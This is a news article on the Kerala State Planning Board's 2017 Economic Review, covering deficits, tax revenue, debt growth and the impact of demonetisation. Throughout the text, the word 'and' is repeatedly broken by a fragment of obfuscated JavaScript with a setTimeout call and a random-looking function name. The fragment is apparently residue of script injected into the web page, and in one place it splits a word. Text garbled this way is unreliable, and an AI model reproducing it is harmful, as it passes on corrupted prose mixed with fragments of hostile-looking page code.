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Economic Review of Kerala 2017

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March 6, 2017 | By | Add a Comment

Economic Review of Kerala 2017
THIRUVANANTHAPURAM: The Economic Review tabled in the Kerala assembly on Thursday, on the eve of the LDF government’s first full budget, underlined the need to overcome fiscal mismanagement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stagnation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to urgently work out a recovery strategy.

The State Planning Board, which prepared the review, revealed that the revenue deficit had come down to 1.36% in 2010-11, but after this growth in the state’s tax revenue as well as other major revenue components were not buoyant enough to facilitate revenue-led fiscal consolidation. The fiscal deficit which represents the total resource gap had witnessed a steady rise in the last five years. In 2015-16 the revenue deficit was 1.65% of GSDP against 2.78% of GSDP in 2014-15.

The state’s own tax revenue showed a declining trend from 2011-12 to 2013-14 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and from 2014-15 onwards it showed a slight upward trend. In 2015-16 it registered a growth of 10.68%.

On the debt front, the outstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding debt liabilities of the state at the end of 2015-16 was Rs 157,370.33 crore. The annual growth rate of debt increased to 16.19% in 201516 from 13.81% in 2014-15. To tap resources to comply with the state government’s obligations, the review reports says tax administration has to be optimised.

On the effects of demonetisation on the state’s economy, the review report said 56% of the state’s economy was immediately affected by the withdrawal of high denomination notes. It also affected earnings from the tourism sector andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the flow of remittances, which are important drivers of growth in the state’s economy. The ongoing contractions in GDP growth will be worsened by the cash crunch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and result in reducing revenue collection andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and widen revenue andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fiscal deficit gaps.

The Economic Review, while emphasising strategic steps to return to the path of fiscal consolidation, makes it clear that a recovery from the present state of fiscal stagnation seems to be quite remote in the near future.

Filed in: Analysis, News

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